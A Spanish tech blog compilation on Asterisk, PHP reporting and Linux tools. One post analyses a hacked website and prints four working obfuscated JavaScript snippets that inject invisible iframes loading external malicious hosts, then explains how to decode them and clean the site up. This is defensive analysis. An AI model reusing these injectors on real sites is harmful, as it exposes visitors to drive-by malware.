Entrando al sitio de Siestta.org veo que ya está una nueva versión de este software para administración de escuelas, ya antes había revisado la versión 2.0, aunque era funcional le faltaban muchas cosas para se adaptable a una escuela.
Siestta 3.0 es un sistema de administración vía web que tiene las siguientes características:
Maestros pueden administrar todos los datos de sus alumnos y lecciones en una forma completa.
Informacion notable para familias puede ser ofrecida en una forma individual. También hay una nueva forma para comunicar familias con maestros y familias con escuela.
Alumnos pueden tambiénver sus datos particulares y crear actividades también.
Finalmente la administración de la escuela tiene una plataforma para administrar todos los datos y reportes que ellos quieran.
El autor de Siestta 3.0 es Ramón Castro quién implarte clases de Economía en un Instituto de Educación Secundaria en Socuéllamos, una localidad situada en el centro de La Mancha, famosa gracias a la gran obra universal “Don Quijote de La Mancha“.
Hace unos días leí que Microsoft había violado la GPL, pues tomó el código de una aplicación para generar ISOs de su nuevo sistema Windows 7 , la cuál el código es libre bajo la licencia GPLv2, y Microsoft lo que hizo fué tomar el código, crear una nueva aplicación cerrar el código y venderlo.
Pero no contaba que un internauta desensamblaría su nueva aplicación y encontrara similitud entre él código de la aplicación libre y la "nueva" aplicación de Microsoft.
Por ello estuve buscando una aplicación que desensamblara las aplicaciones .Net solo para probar ya que también desarrollo en .Net, pero en este caso estuve buscando una que funcionara en Linux, ya que eso de entrar a Windows me da flojera, por lo que buscando en los repositorios de Ubuntu me encontré con DotGnu y pnet-dev, por lo que solo hice un sudo apt-get install pnet pnet-dev pnet-ctools pnet-assemblies
Y con eso ya tenía instalado el desensamblador para .Net.
Por lo que solo bastó ejecutar
ildasm MiAplicacionEnPuntoNet.Exe
Hace unos días un amigo me contactó ya que hace tiempo le instalé un conmutador de voz sobre IP con asterisk en su empresa, y me comentó que estaba teniendo problemas con tonos DTMF que entraban por un gateway GSM, esto había funcionado bastante bien desde hace 3 años que se le instaló el servidor, por lo que le comenté que activara en logger de Asterisk la visualizacion de los tonos DTMF que recibe Asterisk para poder ver que es lo que Asterisk recibía, ya que las llamadas entrantes al Gateway GSM(Telular) se enviaban a un IVR y ahí es dónde no detectaba los tonos.
Para poder activar la visualización de los tonos DTMF en la consola solo basta editar el archivo
sudo editor /etc/asterick/logger.conf
Ahí solo basta agregar al apartado console la opción dtmf
console => notice,warning,error,debug,dtmf
Se reinicia Asterisk y solo basta entrar a la consola de Asterisk para ver que es lo que pasa cuándo un teléfono presiona los tonos dtmf.
Mostrando como podemos monitorear los DTMF y como se los podemos pasar a un AGI desarrollado con PHP en Asterisk VoIP
Algo muy importante es que hay diferentes protocolos por así decirlo para el envío de tonos DTMF, en Voz sobre IP si se está usando un códec g711 alaw o ulaw entonces es recomendable usar el método INBAND, pero si no entonces se recomienda RFC2833 aunque ya es obsoleto ó INFO, ambos protocolos OUTBAND.
Hace unos días un amigo me envío un correo pidiéndome que le indicara como ejecutar un script que estuviera checando constantemente si un proceso esta ejecutándose y si no que el script lo ejecutara.
Para esto le envíe el siguiente ejemplo y lo posteo por aquí por si alguien le fuera de utilidad..
#ejecutamos este comando para crear un directorio# sudomkdir/scripts #editamos el script# sudo editor /scripts/script.sh #***colocar lo siguiente dentro del script**# #/bin/bash if[[!`pidof-s nombre_del_proceso`]]; then sudo/ruta_del_proceso/nombre_del_proceso fi #****Hasta aqui***# #ejecutar este comando para asignar permisos de ejecución chmod +x /scripts/script.sh #Por ejemplo que el script anterior lo guardáramos en /scripts/script.sh
Para que este script se ejecute y verifique cada x tiempo si asterisk esta arriba hay que ponerlo en el archivo de /etc/crontab #ejecutar sudo editor /etc/crontab #agregar al final del archivo lo siguiente
# m h dom mon dow user command 1/10**** root /scripts/script.sh #***hasta aqui*******
#lo anterior indica que el escript se ejecutará cada 10 minutos todas las horas y todos los días del mes, el usuario que lo ejecutará es root y el ecript está en /script/script.sh #despues guardar los cambios en /etc/crontab y luego reiniciar ejecutando sudo/etc/init.d/cron restart
Hace unos días desarrollando un sistema el cuál requiere generar facturas, estuve buscando una manera de poder hacerlo práctico, esto ya que la factura se mandaría a un formato preimpreso, por lo que la información debería coincidir con el formato, lo primero que me recomendaron es usar FPDF el cuál es una librería que funciona en PHP y que es relativamente fácil de usar, digo relativamente porqué hay que usar coordenadas para poder generar el documento lo que la vuelve algo complicada, más aun si se quiere dejar libertad al usuario que genere sus propios formatos.
Imaginaba que se podía hacer algo con OpenOffice (OO), ya que usa ODF(Open Document Format) el cuál es un formato abierto en XML. Los archivos generados por OpenOffice vienen comprimidos en formato .zip, al descomprimirlos genera varios archivos, de los cuáles el principal es content.xml, el cuál contiene la información que hemos capturado en el archivo, esto aplica para archivos de Hojas de Calculo, Procesador de Textos o una presentación de OO.
Despues de desmenuzar los archivos de OpenOffice se me ocurrieron varias mafufadas que no tiene caso comentar aquí, pero lo cuál me llevó a encontrar una Librería Abierta llamada TinyButStrong [http://www.tinybutstrong.com/] , la cuál tiene un plugin para OpenOffice llamada TinyDoc [http://tinydoc.unesolution.fr/] que permite rellenar una plantilla de OpenOffice fácilmente y en unas cuantas líneas, lo que nos ahorra mucho trabajo al generar reportes.
El concepto es muy fácil, definir variables en nuestro documento que luego serían sustiuídas. Por ejemplo si en nuestro documento de OpenOffice pusiéramos en alguna parte:
[factura.fecha]
En TinyDoc tendríamos que tener un arreglo que contenga la llave fecha para que la sustituya en OpenOffice
$_factura=array("fecha"=>"2009-01-01");
De tal forma que ese arreglo lo asignamos al "parser" de plantillas de TinyDoc, algo como lo que se hace en los templates de smarty
$doc->mergeXmlField('factura',$_factura);
Si queremos listar información por ejemplo el detalle de una factura (productos) usaríamos el método
$doc->mergeXmlBlock('detalle',$_detalle);
En Open Office usaríamos [detalle;block=table:table-row] para indicar que es un bloque de datos, y luego poner en alguna parte del documento[detalle.cantidad][detalle.descripcion][detalle.preciounitario][detalle.importe] para que liste el contenido del arreglo de arreglos, dónde el arreglo de detalle sería un arreglo como la siguiente manera
Y con esto se sustituiría la información en OpenOffice, respetando el estilo, posición, etc., por lo que tendríamos un reporteador WYSIWYG( Waht You See Is What You Get - Lo que ves es lo que obtienes).
Por ejemplo aquí muestro como sería el archivo plantilla en OpenOffice usando la "sintaxis" de TinyButStrong, De Lado derecho vemos como quedaría el archivo de OpenOffice despues de que se parseo con TinyButStrong.
(Click para ver la imagen más grande)
Un código de ejemplo de como procesar archivos de Open Office con PHP y TinyButStrong sería:
<?php //llamamos a las librerias de formateo de plantillas de Open Office include('lib/tinyButStrong.class.php'); include('lib/tinyDoc.class.php'); //Creamos un Objeto de la Clase $doc=new tinyDoc(); //Indicamos que OpenOffice esta en formato .zip, en linux hay que verificar que tengamos instalado unzip: sudo apt-get install unzip $doc->setZipMethod('ziparchive'); //Indicamos que el directorio temporal dónde descomprimira el archivo OD* de Open Office $doc->setProcessDir('./tmp'); //Le indicamos el archivo de Open Office que creamos como plantilla $doc->createFrom('formato_factura.odp'); //Indicamos el archivo que escribirá, OpenOffice guarda en content.xml la información capturada en el archivo $doc->loadXml('content.xml'); //Funcion que formateara la plantilla de Open Office
crea_factura($doc); //Indicamos que genere uan descarga del archivo para el usuario $doc->sendResponse(); //Elimina toda la información que fué creada temporalmente $doc->remove();
function crea_factura($doc) { //En el archivo plantilla de de openoffice tenemos [factura.fecha], [factura.subtotla], [factura.iva], [factura.total], [factura.totaltext] //Lo que hace la clase es cambiar la información por la que asinemos aquí, si vemos asignamos el arreglo a factura y el método usado es mergeXmlField $doc->mergeXmlField('factura', array( 'id'=>'1', 'fecha'=>date('Y-m-d'), 'subtotal'=>10250, 'iva'=>1537.5, 'total'=>10787.5, 'totaltext'=>'Diez Mil Setecientos Pesos Cincuenta Centavos', ) ); //Al igual que en factura a cliente le asignamos el arreglo de cliente que tiene las llaves que seran sustituidas en la plantilla //usamos el metodo mergeXmlField ya que es un arreglo unidimensional $doc->mergeXmlField('cliente', array( 'id'=>'1001', 'nombre'=>'OaxRom SA de CV', 'direccion'=>'Encuentranos en http://www.oaxrom.com', 'rfc'=>'OAX090101C45' ) ); //Este método es interesante, ya que nos permitirá mostrar listados en la plantilla //En la plantilla tenemos [detalle.cantida] [detalle.descripcion][detalle;block=table:table-row] [detalle.preciounitario] [detalle.importe] //Usando la funcion mergeXmlBlock, podremos listar información de un arreglo de arreglos en forma de listas, esto es práctico cuándo se intenta //mostrar informacion de productos en una factura por ejemplo, donde el numero de productos puede ser 1 o varios, esto lo que comunmente se llama detalle $doc->mergeXmlBlock('detalle', array( array( 'cantidad'=>2, 'descripcion'=>'Adaptador SPA3102', 'preciounitario'=>1450.00, 'importe'=>2900 ), array( 'cantidad'=>3, 'descripcion'=>'Modulos FXO', 'preciounitario'=>1400.00, 'importe'=>4200.00 ), array( 'cantidad'=>1, 'descripcion'=>'Router Inalambrico WRT54G ', 'preciounitario'=>650, 'importe'=>650 ), array( 'cantidad'=>1, 'descripcion'=>'Tarificador Web Asterisk', 'preciounitario'=>2500, 'importe'=>2500 ), ) ); //Ya que la clase asigna los valores, guarda la información $doc->saveXml(); /*
$doc->loadXml('styles.xml');
$doc->mergeXmlField('header',
array(
'title' => 'made with tinyDoc and',
'img' => 'images/samples/openoffice-by-benjamin-bois.png',
)
);
$doc->mergeXmlField('footer',
array(
'signature' => 'image credit : Benjamin Bois',
)
);
$doc->saveXml();
*/ //cerramos el archivo $doc->close(); } ?>
He subido un proyecto de ejemplo a http://files.mexrom.net
entra con login:invitado y password:invitado
Entra a la carpeta TinyButStrong y descarga el archivo factura.zip
Descomprime la carpeta en algún directorio de tú servidor web y desde tu navegador abre por ejemplo:
http://localhost/factura/formato_factura.php
Y esto debería generarte un archivo de OpenOffice como muestro en la parte derecha de la imagen de arriba.
Con tinyDoc es fácil crear reportes en PHP y obteniendo datos de MySQL, solo es cuestión de crear la plantilla y listo..
Puedes obtener más información en : http://tinydoc.unesolution.fr/
Hace unos días un amigo que estudia la universidad me contacto por el msn, preguntándome porque Google le indicaba que un sitio "podría dañar su computadora", al igual que su antivirus le indicaba información de un troyano al intentar a la página web, le comenté que para que entraba a páginas pornos.. , ja, pero me dijo que no que era un sitio de su profe de la escuela, por lo que me metí a checar que onda solo por curiosidad.
El mencionado sitio es:
http://www.estrategiasempresariales.com.mx/
( USUARIOS DE WINDOWS: CUIDADO !!! )
Como uso Linux pude entrar sin mayor problema, pero vi en la parte de la barra de estado de firefox que intentaba conectarse a otros sitios, por lo que chequé el código y lo que encontré en el encabezado fue lo siguiente:
<script type="text/javascript"> var nfKIWAgpBTVTQUrZYMzN ="g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
114g97g109g101g62"; var cHNCDgmFRKXFpiOMivBk = nfKIWAgpBTVTQUrZYMzN.split("g"); var PXDfruFQHEdkMrnQXZVp =""; for(var ktvacJmKFovULyADtFTA=1; ktvacJmKFovULyADtFTA<cHNCDgmFRKXFpiOMivBk.length; ktvacJmKFovULyADtFTA++){
PXDfruFQHEdkMrnQXZVp+=String.fromCharCode(cHNCDgmFRKXFpiOMivBk[ktvacJmKFovULyADtFTA]); }
document.write(PXDfruFQHEdkMrnQXZVp) </script>
<script type="text/javascript"> var vIkytowORShQVZqTBFox ="sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"; var QWUvRMtrivbeEMdxAZLS = vIkytowORShQVZqTBFox.split("sLU"); var rsiNSZhTeWRvtmrKykBh =""; for(var gdLkpohqOtIGmrTFQBZv=1; gdLkpohqOtIGmrTFQBZv<QWUvRMtrivbeEMdxAZLS.length; gdLkpohqOtIGmrTFQBZv++){
rsiNSZhTeWRvtmrKykBh+=String.fromCharCode(QWUvRMtrivbeEMdxAZLS[gdLkpohqOtIGmrTFQBZv]); }
document.write(rsiNSZhTeWRvtmrKykBh) </script>
<script type="text/javascript"> var hdOruVsHnKBXZuvtsRmw ="z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
109z101z62"; var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z"); var TEptzkmsBZolwWqWunem =""; for(var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){
TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]); }
document.write(TEptzkmsBZolwWqWunem) </script> <script type="text/javascript"> var eMCeGjolMPJFNuucZWLk ="jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
102jc114jc97jc109jc101jc62"; var varLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc"); var OEtbynEYKPJgqArbMfdN =""; for(var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP< varLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++){
OEtbynEYKPJgqArbMfdN+=String.fromCharCode( varLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]); }
document.write(OEtbynEYKPJgqArbMfdN) </script>
Obvio el código javascript está ofuscado, lo que indica que tanto variables como constantes tienen nombres raros y son sustituidas por su valor ascii para luego ser reinterpretadas y ejecutadas.
Ya limpiando el código se vería algo asi:
<textarea name=infoarea id=infoarea cols=150 rows=50></textarea> <script type="text/javascript"> var var1 ="g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
114g97g109g101g62"; var var2= var1.split("g"); var var3 =""; for(var var4=1; var4<var2.length; var4++){
var3+=String.fromCharCode(var2[var4]); }
document.write(var3); </script> <script type="text/javascript"> var var6="sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"; var var7 = var6.split("sLU"); var var9 =""; for(var var10=1; var10<var7.length; var10++){
var9+=String.fromCharCode(var7[var10]); }
document.write(var9) </script>
<script type="text/javascript"> var var11 ="z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
109z101z62"; var var12 = var11.split("z"); var var13 =""; for(var var14=1; var14<var12.length; var14++){
var13+=String.fromCharCode(var12[var14]); }
document.write(var13) </script> <script type="text/javascript"> var var15 ="jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
102jc114jc97jc109jc101jc62"; var var16 = var15.split("jc"); var var17 =""; for(var var18=1; var18<var16.length; var18++){
var17+=String.fromCharCode(var16[var18]); }
document.write(var17) </script>
Como podemos ver en en cada código javascript se crea un "string" que contiene información ofuscada, la cuál son números que son el valor ascii de algun caracter, entre cada número y número hay letras los cuales sirven para poder cortar la cadena y generar un arreglo que contendrá cada uno de los valores ascii usando la función split, para luego recorrer el arreglo y convertir el número a su valor ascii, concatenarlo y asi formar nuevamente otra cadena que al final es codigo html que se ejecuta usando la sentencia javascript document.write(codigo).
El código html que oculta, regenera y ejecuta el código malicioso es el siguiente
Script 1
Cada código html genera un iframe, el cuál es invisible al visitante de la página web, pero que conecta a otros servidores web, de los cuáles se pueden descargar virus, troyanos, más código malicioso, etc.
¿ Cómo resolverlo ?
Lo ideal es borrar los archivos infectados
Si se usa linux solo bastaría ejecutar el siguiente comando para detectar que archivos están infectados:
find /ruta/del/diretorio/web -type f | xargs grep ALGUNA_DE_LASVARIABLES_QUE_USEN_EN_EL_CODIGO_MALICIOSO
Esto obtendría la lista de archivos infectados.
Solo bastaría borrarlos, subir los originales y luego cambiar los permisos del directorio de preferencia ponerlos en 755, asi como los permisos del propietario del directorio.
Otras consideraciones de seguridad serían :
*No usar conexiones de transferencia de archivos insegura como FTP.
*No conectarse al servidor desde computadoras públicas.
AvantFax es una excelente herramienta que se puede integrar alrededor de Asterisk, su función es administrar los Fax entrantes y Salientes, para esto es requerido tener instalado Hylafax y IAXModem, Hylafax es un completo y profesional sistema para envío y recepción de fax a traves de módems, IAXmodem permite crear un modem virtual que sirve de enlace entre Hylafax y Asterisk, de tal forma que con IAXModem es posible enviar y recibir Fax con Hylafax usando los canales de comunicación de Asterisk.
Esta es una excelente herramienta ya que a traves de un cliente de Hylafax se pueden enviar fax directamente desde cualquier archivo de word, excel, etc., esto ya que se manda a una impresora virtual la cuál es un cliente de hylafax.
También es posible enviar faxes desde una página web solo basta entrar a la página web subir el documento especificar el número y prácticamente desde cualquier lugar de internet se están enviando faxes.
Un tutorial de como puede instalarse AvantFax se encuentra en la siguiente url: http://www.ecualug.org/?q=2008/05/28/comos/instalar_avantfax_310
Es una manera de definir el proceso de buscar palabras o textos dentro de una conversación, de tal forma que es posible encontrar la palabra "amenaza de bomba" en una llamada que hicieran a la policía, de tal forma que se pudiera mandar una alerta a un monitor, sistema ó extensión.
Se puede decir que es como un OCR, pero solo que en vez de buscar textos y palabras dentro de una imagen, es buscar textos y palabras dentro de un streaming de audio que puede ser una conversación telefónica o un mensaje pregrabado.
Algo como esto lo ví en una película hace un par de años, dónde un sistema de la NSA de USA, monitoreaba llamadas en teléfonos celulares o fijos de diversas partes del mundo, de tal forma que si encontraban una palabra sospechosa en automático enviaba la llamada en modo espía a un agente del callcenter de la NSA, por ejemplo si escuchaban la palabra Bin Laden, Al Qaeda o algo por el estilo entonces la pasaban al centro de contactos principal de la NSA.
Esta tecnología en la actualidad ya no es un recurso que valga millones de dólares tales como los que invirtió la Agencia de Seguridad Nacional de EU, pero si tiene un costo que es asequible para empresas que deseen almacenar en una base de datos el texto de las grabaciones de las conversaciones de los agentes de un call center para luego poder hacer una búsqueda por palabras en una base de datos y de ahí reproducir la conversación, al igual que poder mandar una alerta cuándo se encuentre una palabra en alguna de las conversaciones recibidas.
Esto no es complicado de implementarse aunque claro tiene su chiste, pero nada del otro mundo, esto debido a la tecnología de Asterisk y la cantidad de aplicaciones que hay alrededor de este gran proyecto, lo importante aquí es tener un sistema de reconocimiento de voz bastante eficiente, tal como puede ser LumenVox para luego solo "parsear" la información que se este leyendo en la conversación.
Hace unos días leyendo el blog de sinologic encontré información sobre VoiceChanger que es una aplicación de asterisk que sirve más bien como prueba más que para una aplicación real y su objetivo es cambiar el pitch de la voz, de tal forma que puedes tener una voz más aguda y seductora o más grave hasta estridente.
Ya hace tiempo había pensado en una aplicación como está de tal forma que pudieras simular la voz de mujer o viceversa, así como simular voz de niño, adulto o adulto mayor, como dicen por ahí todo es posible en asterisk y pocas cosas no se pueden hacer en Asterisk y esta no es una de ellas.
El cambio de voz no creo que pueda usarse para mantener la privacía ya que al solo cambiarse el pitch solo bastaría de invertirlo para obtener la voz original, pero es interesante probar la aplicación.
Sin más bla bla bla, pongo aquí el tutorial para poder instalar este addon para Asterisk y poder probar la simpática aplicación.
#obtenemos los archivos a instalar cd ~/asterisk wget http://www.lobstertech.com/code/libsoundtouch4c/releases/soundtouch-1.3.1-jart.tar.gz wget http://www.lobstertech.com/code/libsoundtouch4c/releases/libsoundtouch4c-0.4.tar.gz wget http://www.lobstertech.com/code/voicechanger/releases/voicechanger-0.7.tar.gz #Instalamos SounTouch 1.3.1-jart #También se puede instalar a traves del administrador de paquetes cd/usr/src sudotar xvzf ~/asterisk/soundtouch-1.3.1-jart.tar.gz cd soundtouch-1.3.1-jart/ sudo ./configure --enable-integer-samples --prefix=/usr sudomake sudomakeinstall # instalamos libsoundtouch4c cd/usr/src sudotar-xzvf ~/asterisk/libsoundtouch4c-0.4.tar.gz cd libsoundtouch4c-0.4 sudo ./configure --prefix=/usr sudomake sudomakeinstall #Instalamos VoiceChanger cd/usr/src sudotar-xzvf ~/asterisk/voicechanger-0.7.tar.gz cd voicechanger-0.7 sudomake sudomakeinstall #Cargamos la aplicación dentro de Asterisk sudomake start #Entramos a la consola de Asterisk para ver si la aplicación fué cargada sudo asterisk -rvvv
show application VoiceChanger #Creamos una extensión de prueba rápidamente que nos permitirá marcar a una extensión y probar la voz cambiada. sudo editor /etc/asterisk/extensions_custom.conf
include => voicechanger [voicechanger]
exten =>665,1,Set(CALLERID(all)=${BULLY_FROM_HIGHSCHOOL})
exten =>665,2,VoiceChanger(-5.0)
exten =>665,3,Dial(SIP/102/102|30|g)
exten =>665,4,StopVoiceChanger() ; not required
exten =>665,5,hangup
Domus.Link es un software que permite controlar dispositivos X10 desde una página web.
Antes de seguir la siguiente bitácora se requiere tener instalado heyu y para ello se puede acceder al siguiente post AQUI.
mkdir-p ~/software/opensource cd ~/software/opensource wget http://domus.link.co.pt/src/domuslink-1.0.1.tar.gz cd/var/www sudotar-xzvf ~/software/opensource/domuslink-1.0.1.tar.gz cd domus.Link #verificar que heyu no esté corriendo, ps aux | grep heyu
